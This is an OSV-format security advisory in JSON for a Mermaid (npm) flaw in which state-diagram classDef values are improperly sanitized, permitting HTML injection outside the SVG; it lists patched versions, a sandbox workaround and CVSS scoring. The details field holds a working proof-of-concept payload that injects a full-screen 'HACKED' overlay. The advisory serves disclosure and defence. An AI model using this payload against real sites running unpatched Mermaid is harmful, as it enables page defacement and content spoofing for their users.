{
"id": "GHSA-ghcm-xqfw-q4vr",
"aliases": [
"CVE-2026-41149"
],
"details": "### Impact\n\nUnder the default configuration, Mermaid state diagram's `classDef` allow DOM injection that escapes the SVG, although `<script>` tags are removed, preventing XSS.\n\n#### Proof-of-concept\n\n```\nstateDiagram-v2\n classDef xss fill:red</style></svg><style>*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}</style><div style=\"x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black\">HACKED</div><svg><style>a:b\n [*] --> A:::xss\n```\n\n### Patches\n\n- [v11.15.0](https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0) (see [37ff937f1da2e19f882fd1db01235db4d01f4056](https://github.com/mermaid-js/mermaid/commit/37ff937f1da2e19f882fd1db01235db4d01f4056))\n- [v10.9.6](https://github.com/mermaid-js/mermaid/releases/tag/v10.9.6) (see [4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3](https://github.com/mermaid-js/mermaid/commit/4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3))\n\n### Workarounds\n\nIf you can not update to a patched version, setting [`\"securityLevel\": \"sandbox\"`](https://mermaid.js.org/config/schema-docs/config.html#securitylevel) will prevent this, by rendering the mermaid diagram in a sandboxed `<iframe>`.\n\n### Credits\n\nThanks to @zsxsoft from @KeenSecurityLab for reporting this vulnerability.",
"summary": "Mermaid: Improper sanitization of `classDef` in state diagrams leads to HTML injection",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-alpha.1"
},
{
"fixed": "11.15.0"
}
]
}
],
"package": {
"name": "mermaid",
"ecosystem": "npm"
},
"database_specific": {
"last_known_affected_version_range": "<= 11.14.0"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "10.9.6"
}
]
}
],
"package": {
"name": "mermaid",
"ecosystem": "npm"
},
"database_specific": {
"last_known_affected_version_range": "<= 10.9.5"
}
}
],
"modified": "2026-06-08T23:21:04Z",
"severity": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L"
}
],
"published": "2026-05-11T19:36:46Z",
"references": [
{
"url": "https://github.com/mermaid-js/mermaid/security/advisories/GHSA-ghcm-xqfw-q4vr",
"type": "WEB"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41149",
"type": "ADVISORY"
},
{
"url": "https://github.com/mermaid-js/mermaid/commit/37ff937f1da2e19f882fd1db01235db4d01f4056",
"type": "WEB"
},
{
"url": "https://github.com/mermaid-js/mermaid/commit/4e2d512bf5bf6f9de1a8f0a48da78dc4d09ac4f3",
"type": "WEB"
},
{
"url": "https://github.com/mermaid-js/mermaid",
"type": "PACKAGE"
},
{
"url": "https://github.com/mermaid-js/mermaid/releases/tag/mermaid%4011.15.0",
"type": "WEB"
},
{
"url": "https://github.com/mermaid-js/mermaid/releases/tag/v10.9.6",
"type": "WEB"
},
{
"url": "https://mermaid.js.org/config/schema-docs/config.html#securitylevel",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": "2026-05-22T23:16:53Z",
"github_reviewed_at": "2026-05-11T19:36:46Z"
}
}